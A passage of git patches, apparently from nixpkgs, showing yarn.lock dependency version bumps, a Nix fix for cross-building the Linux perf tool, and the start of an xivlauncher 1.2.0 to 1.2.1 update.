-  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.23.9.tgz#5b45994b7de78dada5c1bebf1379646b32b9d606"
-  integrity sha512-py07lI0wjxAC/DcfK1S6G7iANonniZwTISvdPzk9hzeH0IZIshbuuFxLIU96OyF89Yb9hiqWn8M/bY83KY5vzA==
+  version "1.24.0"
+  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.24.0.tgz#c44732d2beb0acc1ed60df840869e3106e7af328"
+  integrity sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==
   dependencies:
     array-buffer-byte-length "^1.0.2"
     arraybuffer.prototype.slice "^1.0.4"
     available-typed-arrays "^1.0.7"
     call-bind "^1.0.8"
-    call-bound "^1.0.3"
+    call-bound "^1.0.4"
     data-view-buffer "^1.0.2"
     data-view-byte-length "^1.0.2"
     data-view-byte-offset "^1.0.1"
     es-define-property "^1.0.1"
     es-errors "^1.3.0"
-    es-object-atoms "^1.0.0"
+    es-object-atoms "^1.1.1"
     es-set-tostringtag "^2.1.0"
     es-to-primitive "^1.3.0"
     function.prototype.name "^1.1.8"
-    get-intrinsic "^1.2.7"
-    get-proto "^1.0.0"
+    get-intrinsic "^1.3.0"
+    get-proto "^1.0.1"
     get-symbol-description "^1.1.0"
     globalthis "^1.0.4"
     gopd "^1.2.0"
@@ -3607,21 +3621,24 @@ es-abstract@^1.23.2, es-abstract@^1.23.5, es-abstract@^1.23.9:
     is-array-buffer "^3.0.5"
     is-callable "^1.2.7"
     is-data-view "^1.0.2"
+    is-negative-zero "^2.0.3"
     is-regex "^1.2.1"
+    is-set "^2.0.3"
     is-shared-array-buffer "^1.0.4"
     is-string "^1.1.1"
     is-typed-array "^1.1.15"
-    is-weakref "^1.1.0"
+    is-weakref "^1.1.1"
     math-intrinsics "^1.1.0"
-    object-inspect "^1.13.3"
+    object-inspect "^1.13.4"
     object-keys "^1.1.1"
     object.assign "^4.1.7"
     own-keys "^1.0.1"
-    regexp.prototype.flags "^1.5.3"
+    regexp.prototype.flags "^1.5.4"
     safe-array-concat "^1.1.3"
     safe-push-apply "^1.0.0"
     safe-regex-test "^1.1.0"
     set-proto "^1.0.0"
+    stop-iteration-iterator "^1.1.0"
     string.prototype.trim "^1.2.10"
     string.prototype.trimend "^1.0.9"
     string.prototype.trimstart "^1.0.8"
@@ -3630,7 +3647,7 @@ es-abstract@^1.23.2, es-abstract@^1.23.5, es-abstract@^1.23.9:
     typed-array-byte-offset "^1.0.4"
     typed-array-length "^1.0.7"
     unbox-primitive "^1.1.0"
-    which-typed-array "^1.1.18"
+    which-typed-array "^1.1.19"
 
 es-array-method-boxes-properly@^1.0.0:
   version "1.0.0"
@@ -4327,9 +4344,9 @@ google-auth-library@^9.0.0, google-auth-library@^9.3.0, google-auth-library@^9.6
     jws "^4.0.0"
 
 google-gax@^4.3.3:
-  version "4.6.0"
-  resolved "https://registry.yarnpkg.com/google-gax/-/google-gax-4.6.0.tgz#455c94496d80ecf0cba113b0451a883b7bcee0fd"
-  integrity sha512-zKKLeLfcYBVOzzM48Brtn4EQkKcTli9w6c1ilzFK2NbJvcd4ATD8/XqFExImvE/W5IwMlKKwa5qqVufji3ioNQ==
+  version "4.6.1"
+  resolved "https://registry.yarnpkg.com/google-gax/-/google-gax-4.6.1.tgz#57f8e3d893d4c708a71167cdcf47eb3afab95929"
+  integrity sha512-V6eky/xz2mcKfAd1Ioxyd6nmA61gao3n01C+YeuIwu3vzM9EDR6wcVzMSIbLMDXWeoi9SHYctXuKYC5uJUT3eQ==
   dependencies:
     "@grpc/grpc-js" "^1.10.9"
     "@grpc/proto-loader" "^0.7.13"
@@ -4573,9 +4590,9 @@ htmlparser2@^6.1.0:
     entities "^2.0.0"
 
 http-cache-semantics@^4.1.0:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz#abe02fcb2985460bf0323be664436ec3476a6d5a"
-  integrity sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz#205f4db64f8562b76a4ff9235aa5279839a09dd5"
+  integrity sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==
 
 http-errors@2.0.0:
   version "2.0.0"
@@ -4711,12 +4728,10 @@ ieee754@^1.1.13, ieee754@^1.2.1:
   resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352"
   integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==
 
-image-size@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/image-size/-/image-size-1.1.1.tgz#ddd67d4dc340e52ac29ce5f546a09f4e29e840ac"
-  integrity sha512-541xKlUw6jr/6gGuk92F+mYM5zaFAc5ahphvkqvNe2bQ6gVBkd6bfrmVJ2t4KDAfikAYZyIqTnktX3i6/aQDrQ==
-  dependencies:
-    queue "6.0.2"
+image-size@2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/image-size/-/image-size-2.0.2.tgz#84a7b43704db5736f364bf0d1b029821299b4bdc"
+  integrity sha512-IRqXKlaXwgSMAMtpNzZa1ZAe8m+Sa1770Dhk8VkSsP9LS+iHD62Zd8FQKs8fbPiagBE7BzoFX23cxFnwshpV6w==
 
 immediate@~3.0.5:
   version "3.0.6"
@@ -4975,6 +4990,11 @@ is-map@^2.0.3:
   resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.3.tgz#ede96b7fe1e270b3c4465e3a465658764926d62e"
   integrity sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==
 
+is-negative-zero@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.3.tgz#ced903a027aca6381b777a5743069d7376a49747"
+  integrity sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==
+
 is-number-object@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.1.1.tgz#144b21e95a1bc148205dcc2814a9134ec41b2541"
@@ -5071,7 +5091,7 @@ is-weakmap@^2.0.2:
   resolved "https://registry.yarnpkg.com/is-weakmap/-/is-weakmap-2.0.2.tgz#bf72615d649dfe5f699079c54b83e47d1ae19cfd"
   integrity sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==
 
-is-weakref@^1.0.2, is-weakref@^1.1.0:
+is-weakref@^1.0.2, is-weakref@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/is-weakref/-/is-weakref-1.1.1.tgz#eea430182be8d64174bd96bffbc46f21bf3f9293"
   integrity sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==
@@ -5322,20 +5342,20 @@ jsprim@^2.0.2:
     verror "1.10.0"
 
 jwa@^1.4.1:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/jwa/-/jwa-1.4.1.tgz#743c32985cb9e98655530d53641b66c8645b039a"
-  integrity sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==
+  version "1.4.2"
+  resolved "https://registry.yarnpkg.com/jwa/-/jwa-1.4.2.tgz#16011ac6db48de7b102777e57897901520eec7b9"
+  integrity sha512-eeH5JO+21J78qMvTIDdBXidBd6nG2kZjg5Ohz/1fpa28Z4CcsWUzJ1ZZyFq/3z3N17aZy+ZuBoHljASbL1WfOw==
   dependencies:
-    buffer-equal-constant-time "1.0.1"
+    buffer-equal-constant-time "^1.0.1"
     ecdsa-sig-formatter "1.0.11"
     safe-buffer "^5.0.1"
 
 jwa@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/jwa/-/jwa-2.0.0.tgz#a7e9c3f29dae94027ebcaf49975c9345593410fc"
-  integrity sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA==
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/jwa/-/jwa-2.0.1.tgz#bf8176d1ad0cd72e0f3f58338595a13e110bc804"
+  integrity sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==
   dependencies:
-    buffer-equal-constant-time "1.0.1"
+    buffer-equal-constant-time "^1.0.1"
     ecdsa-sig-formatter "1.0.11"
     safe-buffer "^5.0.1"
 
@@ -5890,7 +5910,7 @@ modern-syslog@1.2.0:
   dependencies:
     nan "^2.13.2"
 
-mongodb-connection-string-url@^2.5.4:
+mongodb-connection-string-url@^2.6.0:
   version "2.6.0"
   resolved "https://registry.yarnpkg.com/mongodb-connection-string-url/-/mongodb-connection-string-url-2.6.0.tgz#57901bf352372abdde812c81be47b75c6b2ec5cf"
   integrity sha512-WvTZlI9ab0QYtTYnuMLgobULWhokRjtC7db9LtcVfJ+Hsnyr5eo6ZtNAt3Ly24XZScGMelOcGtm7lSn0332tPQ==
@@ -5898,17 +5918,17 @@ mongodb-connection-string-url@^2.5.4:
     "@types/whatwg-url" "^8.2.1"
     whatwg-url "^11.0.0"
 
-mongodb@4.13.0:
-  version "4.13.0"
-  resolved "https://registry.yarnpkg.com/mongodb/-/mongodb-4.13.0.tgz#2aa832b827e2891eb2e52e8235c201cbb4701ed2"
-  integrity sha512-+taZ/bV8d1pYuHL4U+gSwkhmDrwkWbH1l4aah4YpmpscMwgFBkufIKxgP/G7m87/NUuQzc2Z75ZTI7ZOyqZLbw==
+mongodb@4.17.2:
+  version "4.17.2"
+  resolved "https://registry.yarnpkg.com/mongodb/-/mongodb-4.17.2.tgz#237c0534e36a3449bd74c6bf6d32f87a1ca7200c"
+  integrity sha512-mLV7SEiov2LHleRJPMPrK2PMyhXFZt2UQLC4VD4pnth3jMjYKHhtqfwwkkvS/NXuo/Fp3vbhaNcXrIDaLRb9Tg==
   dependencies:
-    bson "^4.7.0"
-    mongodb-connection-string-url "^2.5.4"
+    bson "^4.7.2"
+    mongodb-connection-string-url "^2.6.0"
     socks "^2.7.1"
   optionalDependencies:
     "@aws-sdk/credential-providers" "^3.186.0"
-    saslprep "^1.0.3"
+    "@mongodb-js/saslprep" "^1.1.0"
 
 mongodb@^3.3.2:
   version "3.7.4"
@@ -6058,9 +6078,9 @@ no-case@^2.2.0:
     lower-case "^1.1.1"
 
 node-abi@^3.3.0:
-  version "3.74.0"
-  resolved "https://registry.yarnpkg.com/node-abi/-/node-abi-3.74.0.tgz#5bfb4424264eaeb91432d2adb9da23c63a301ed0"
-  integrity sha512-c5XK0MjkGBrQPGYG24GBADZud0NCbznxNx0ZkS+ebUTrmV1qTDxPxSL8zEAPURXSbLRWVexxmP4986BziahL5w==
+  version "3.75.0"
+  resolved "https://registry.yarnpkg.com/node-abi/-/node-abi-3.75.0.tgz#2f929a91a90a0d02b325c43731314802357ed764"
+  integrity sha512-OhYaY5sDsIka7H7AtijtI9jwGYLyl29eQn/W623DiN/MIv5sUqc4g7BIDThX+gb7di9f6xK02nkp8sdfFWZLTg==
   dependencies:
     semver "^7.3.5"
 
@@ -6297,7 +6317,7 @@ object-hash@^3.0.0:
   resolved "https://registry.yarnpkg.com/object-hash/-/object-hash-3.0.0.tgz#73f97f753e7baffc0e2cc9d6e079079744ac82e9"
   integrity sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==
 
-object-inspect@^1.13.3:
+object-inspect@^1.13.3, object-inspect@^1.13.4:
   version "1.13.4"
   resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.4.tgz#8375265e21bc20d0fa582c22e1b13485d6e00213"
   integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==
@@ -6678,9 +6698,9 @@ pg-cloudflare@^1.1.1:
   integrity sha512-OOX22Vt0vOSRrdoUPKJ8Wi2OpE/o/h9T8X1s4qSkCedbNah9ei2W2765be8iMVxQUsvgT7zIAT2eIa9fs5+vtg==
 
 pg-connection-string@^2.7.0:
-  version "2.8.5"
-  resolved "https://registry.yarnpkg.com/pg-connection-string/-/pg-connection-string-2.8.5.tgz#82cefd0269cb64a09603342d9b69e8392e6eb6cd"
-  integrity sha512-Ni8FuZ8yAF+sWZzojvtLE2b03cqjO5jNULcHFfM9ZZ0/JXrgom5pBREbtnAw7oxsxJqHw9Nz/XWORUEL3/IFow==
+  version "2.9.0"
+  resolved "https://registry.yarnpkg.com/pg-connection-string/-/pg-connection-string-2.9.0.tgz#f75e06591fdd42ec7636fe2c6a03febeedbec9bf"
+  integrity sha512-P2DEBKuvh5RClafLngkAuGe9OUlFV7ebu8w1kmaaOgPcpJd1RIFh7otETfI6hAR8YupOLFTY7nuvvIn7PLciUQ==
 
 pg-int8@1.0.1:
   version "1.0.1"
@@ -6688,14 +6708,14 @@ pg-int8@1.0.1:
   integrity sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==
 
 pg-pool@^3.8.0:
-  version "3.9.5"
-  resolved "https://registry.yarnpkg.com/pg-pool/-/pg-pool-3.9.5.tgz#73ee76bacc51f4bef5f9928a107ff15c98275fae"
-  integrity sha512-DxyAlOgvUzRFpFAZjbCc8fUfG7BcETDHgepFPf724B0i08k9PAiZV1tkGGgQIL0jbMEuR9jW1YN7eX+WgXxCsQ==
+  version "3.10.0"
+  resolved "https://registry.yarnpkg.com/pg-pool/-/pg-pool-3.10.0.tgz#134b0213755c5e7135152976488aa7cd7ee1268d"
+  integrity sha512-DzZ26On4sQ0KmqnO34muPcmKbhrjmyiO4lCCR0VwEd7MjmiKf5NTg/6+apUEu0NF7ESa37CGzFxH513CoUmWnA==
 
 pg-protocol@^1.8.0:
-  version "1.9.5"
-  resolved "https://registry.yarnpkg.com/pg-protocol/-/pg-protocol-1.9.5.tgz#e544eff37d6ab79c26281d7c0b59ac9be4862686"
-  integrity sha512-DYTWtWpfd5FOro3UnAfwvhD8jh59r2ig8bPtc9H8Ds7MscE/9NYruUQWFAOuraRl29jwcT2kyMFQ3MxeaVjUhg==
+  version "1.10.0"
+  resolved "https://registry.yarnpkg.com/pg-protocol/-/pg-protocol-1.10.0.tgz#a473afcbb1c6e5dc3ac24869ba3dd563f8a1ae1b"
+  integrity sha512-IpdytjudNuLv8nhlHs/UrVBhU0e78J0oIS/0AVdTbWxSOkFUVdsHC/NrorO6nXsQNDTT1kzDSOMJubBQviX18Q==
 
 pg-types@^2.1.0:
   version "2.2.0"
@@ -6728,7 +6748,7 @@ pgpass@1.x:
   dependencies:
     split2 "^4.1.0"
 
-picocolors@^1.0.0, picocolors@^1.1.1:
+picocolors@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
   integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
@@ -6894,9 +6914,9 @@ proto3-json-serializer@^2.0.2:
     protobufjs "^7.2.5"
 
 protobufjs@^7.2.5, protobufjs@^7.2.6, protobufjs@^7.3.2:
-  version "7.5.0"
-  resolved "https://registry.yarnpkg.com/protobufjs/-/protobufjs-7.5.0.tgz#a317ad80713e9db43c8e55afa8636a9aa76bb630"
-  integrity sha512-Z2E/kOY1QjoMlCytmexzYfDm/w5fKAiRwpSzGtdnXW1zC88Z2yXazHHrOtwCzn+7wSxyE8PYM4rvVcMphF9sOA==
+  version "7.5.3"
+  resolved "https://registry.yarnpkg.com/protobufjs/-/protobufjs-7.5.3.tgz#13f95a9e3c84669995ec3652db2ac2fb00b89363"
+  integrity sha512-sildjKwVqOI2kmFDiXQ6aEB0fjYTafpEvIBs8tOR8qI4spuL9OPROLVu2qZqi/xgCfsHIwVqlaF8JBjWFHnKbw==
   dependencies:
     "@protobufjs/aspromise" "^1.1.2"
     "@protobufjs/base64" "^1.1.2"
@@ -6998,13 +7018,6 @@ querystringify@^2.1.1:
   resolved "https://registry.yarnpkg.com/querystringify/-/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
   integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==
 
-queue@6.0.2:
-  version "6.0.2"
-  resolved "https://registry.yarnpkg.com/queue/-/queue-6.0.2.tgz#b91525283e2315c7553d2efa18d83e76432fed65"
-  integrity sha512-iHZWu+q3IdFZFX36ro/lKBkSvfkztY5Y7HMiPlOUjhupPcG2JMfst2KKEpu5XndviX/3UhFbRngUPNKtgvtZiA==
-  dependencies:
-    inherits "~2.0.3"
-
 random-bytes@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/random-bytes/-/random-bytes-1.0.0.tgz#4f68a1dc0ae58bd3fb95848c30324db75d64360b"
@@ -7123,9 +7136,9 @@ readline2@^1.0.1:
     mute-stream "0.0.5"
 
 real-cancellable-promise@^1.1.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/real-cancellable-promise/-/real-cancellable-promise-1.2.1.tgz#a6cc6c887597e44426c157534ca739ae148cbc30"
-  integrity sha512-JwhiWJTMMyzFYfpKsiSb8CyQktCi1MZ8ZBn3wXvq28qXDh8Y5dM7RYzgW3r6SV22JTEcof8pRsvDp4GxLmGIxg==
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/real-cancellable-promise/-/real-cancellable-promise-1.2.2.tgz#fef5dc64c99749d9640ab63fe6f32a37fc7b29b2"
+  integrity sha512-Qh1RvIGdekUCv/ZkK9IiAkah2/Q++p66KHe6TSgHnx4QSbr5vCo3qDoszqRO1TSH+6h6HI5aDVBVrQCQBGj44Q==
 
 reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9:
   version "1.0.10"
@@ -7151,7 +7164,7 @@ regenerator-runtime@^0.14.0:
   resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz#356ade10263f685dda125100cd862c1db895327f"
   integrity sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==
 
-regexp.prototype.flags@^1.5.3:
+regexp.prototype.flags@^1.5.4:
   version "1.5.4"
   resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz#1ad6c62d44a259007e55b3970e00f746efbcaa19"
   integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==
@@ -7408,7 +7421,7 @@ saslmechanisms@^0.1.1:
   resolved "https://registry.yarnpkg.com/saslmechanisms/-/saslmechanisms-0.1.1.tgz#478be1429500fcfaa780be88b3343ced7d2a9182"
   integrity sha512-pVlvK5ysevz8MzybRnDIa2YMxn0OJ7b9lDiWhMoaKPoJ7YkAg/7YtNjUgaYzElkwHxsw8dBMhaEn7UP6zxEwPg==
 
-saslprep@1.0.3, saslprep@^1.0.0, saslprep@^1.0.3:
+saslprep@^1.0.0:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/saslprep/-/saslprep-1.0.3.tgz#4c02f946b56cf54297e347ba1093e7acac4cf226"
   integrity sha512-/MY/PEMbk2SuY5sScONwhUDsV2p77Znkb/q3nSVstq/yQzYJOH/Azh29p9oJLsl3LnQwSvZDKagDGBsBwSooag==
@@ -7437,7 +7450,7 @@ scmp@^2.1.0:
   resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8"
   integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==
 
-semver@7.7.1, semver@^7.3.5, semver@^7.5.4:
+semver@7.7.1:
   version "7.7.1"
   resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.1.tgz#abd5098d82b18c6c81f6074ff2647fd3e7220c9f"
   integrity sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==
@@ -7447,6 +7460,11 @@ semver@^6.0.0, semver@^6.3.1:
   resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
   integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
 
+semver@^7.3.5, semver@^7.5.4:
+  version "7.7.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.2.tgz#67d99fdcd35cec21e6f8b87a7fd515a33f982b58"
+  integrity sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==
+
 send@0.19.0:
   version "0.19.0"
   resolved "https://registry.yarnpkg.com/send/-/send-0.19.0.tgz#bbc5a388c8ea6c048967049dbeac0e4a3f09d7f8"
@@ -7814,6 +7832,14 @@ statuses@2.0.1:
   resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
   integrity sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==
 
+stop-iteration-iterator@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz#f481ff70a548f6124d0312c3aa14cbfa7aa542ad"
+  integrity sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==
+  dependencies:
+    es-errors "^1.3.0"
+    internal-slot "^1.1.0"
+
 store2@^2.13.0:
   version "2.14.4"
   resolved "https://registry.yarnpkg.com/store2/-/store2-2.14.4.tgz#81b313abaddade4dcd7570c5cc0e3264a8f7a242"
@@ -8054,9 +8080,9 @@ syslog@0.1.1-1:
   integrity sha512-7fn4sikkTRrc4kZk/i/ItCktnPD2qG+nKmgTVcuLr2VrY2V9adNhw9fN02HL6rTthwu2Og9Icr1GxZlaLp39Lg==
 
 tar-fs@^2.0.0:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/tar-fs/-/tar-fs-2.1.2.tgz#425f154f3404cb16cb8ff6e671d45ab2ed9596c5"
-  integrity sha512-EsaAXwxmx8UB7FRKqeozqEPop69DXcmYwTQwXvyAPF352HJsPdkVhvTaDPYqfNgruveJIJy3TA2l+2zj8LJIJA==
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/tar-fs/-/tar-fs-2.1.3.tgz#fb3b8843a26b6f13a08e606f7922875eb1fbbf92"
+  integrity sha512-090nwYJDmlhwFwEW3QQl+vaNnxsO2yVsd45eTKRBzSzu+hlb1w2K9inVq5b0ngXuLVqQ4ApvsUHHnu/zQNkWAg==
   dependencies:
     chownr "^1.1.1"
     mkdirp-classic "^0.5.2"
@@ -8475,7 +8501,7 @@ unpipe@1.0.0, unpipe@~1.0.0:
   resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
   integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==
 
-update-browserslist-db@^1.1.1:
+update-browserslist-db@^1.1.3:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz#348377dd245216f9e7060ff50b15a1b740b75420"
   integrity sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==
@@ -8799,7 +8825,7 @@ which-module@^2.0.0:
   resolved "https://registry.yarnpkg.com/which-module/-/which-module-2.0.1.tgz#776b1fe35d90aebe99e8ac15eb24093389a4a409"
   integrity sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==
 
-which-typed-array@^1.1.16, which-typed-array@^1.1.18, which-typed-array@^1.1.2:
+which-typed-array@^1.1.16, which-typed-array@^1.1.19, which-typed-array@^1.1.2:
   version "1.1.19"
   resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.19.tgz#df03842e870b6b88e117524a4b364b6fc689f956"
   integrity sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==
@@ -8946,9 +8972,9 @@ ws@^7.4.6:
   integrity sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==
 
 ws@^8.13.0, ws@^8.18.0, ws@^8.9.0:
-  version "8.18.1"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-8.18.1.tgz#ea131d3784e1dfdff91adb0a4a116b127515e3cb"
-  integrity sha512-RKW2aJZMXeMxVpnZ6bck+RswznaxmzdULiBr6KY7XkTnW8uvt0iT9H5DkHUChXrc+uurzwa0rVI16n/Xzjdz1w==
+  version "8.18.2"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-8.18.2.tgz#42738b2be57ced85f46154320aabb51ab003705a"
+  integrity sha512-DMricUmwGZUVr++AEAe2uiVM7UoO9MAVZMDu05UQOaUII0lp+zOzLLU4Xqh/JvTqklB1T4uELaaPBKyjE1r4fQ==
 
 xml-crypto@^2.1.3:
   version "2.1.6"

From 2c4f812dedf345d05a1c521e7f82e83b7a846e8f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Sun, 6 Jul 2025 15:08:33 +0200
Subject: [PATCH 2102/4511] perf: fix cross build

(cherry picked from commit 62cc0aae4b9b8731ac64e51460dda0f5ae2f7207)
---
 pkgs/os-specific/linux/kernel/perf/default.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/os-specific/linux/kernel/perf/default.nix b/pkgs/os-specific/linux/kernel/perf/default.nix
index 18dc3ddfc7bf..270cb1dbe49d 100644
--- a/pkgs/os-specific/linux/kernel/perf/default.nix
+++ b/pkgs/os-specific/linux/kernel/perf/default.nix
@@ -39,6 +39,7 @@
   zstd,
   withLibcap ? true,
   libcap,
+  buildPackages,
 }:
 let
   d3-flame-graph-templates = stdenv.mkDerivation rec {
@@ -60,6 +61,10 @@ stdenv.mkDerivation {
   pname = "perf-linux";
   inherit (kernel) version src;
 
+  strictDeps = true;
+
+  depsBuildBuild = [ buildPackages.stdenv.cc ];
+
   patches =
     lib.optionals (lib.versionAtLeast kernel.version "5.10" && lib.versionOlder kernel.version "6.13")
       [

From 716ff1a860cb97efab848c3dae18e968c72e8030 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 4 Jul 2025 20:27:54 +0000
Subject: [PATCH 2103/4511] xivlauncher: 1.2.0 -> 1.2.1

(cherry picked from commit 4967d802999e44df944ce7440e78fe472bf92eef)
---
 pkgs/by-name/xi/xivlauncher/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/xi/xivlauncher/package.nix b/pkgs/by-name/xi/xivlauncher/package.nix
index a537f9383d69..2ef342fe12c1 100644
--- a/pkgs/by-name/xi/xivlauncher/package.nix
+++ b/pkgs/by-name/xi/xivlauncher/package.nix
@@ -17,7 +17,7 @@
 }:
 
 let
-  rev = "1.2.0";
+  rev = "1.2.1";
 in
 buildDotnetModule rec {
   pname = "XIVLauncher";
@@ -27,7 +27,7 @@ buildDotnetModule rec {
     owner = "goatcorp";
     repo = "XIVLauncher.Core";
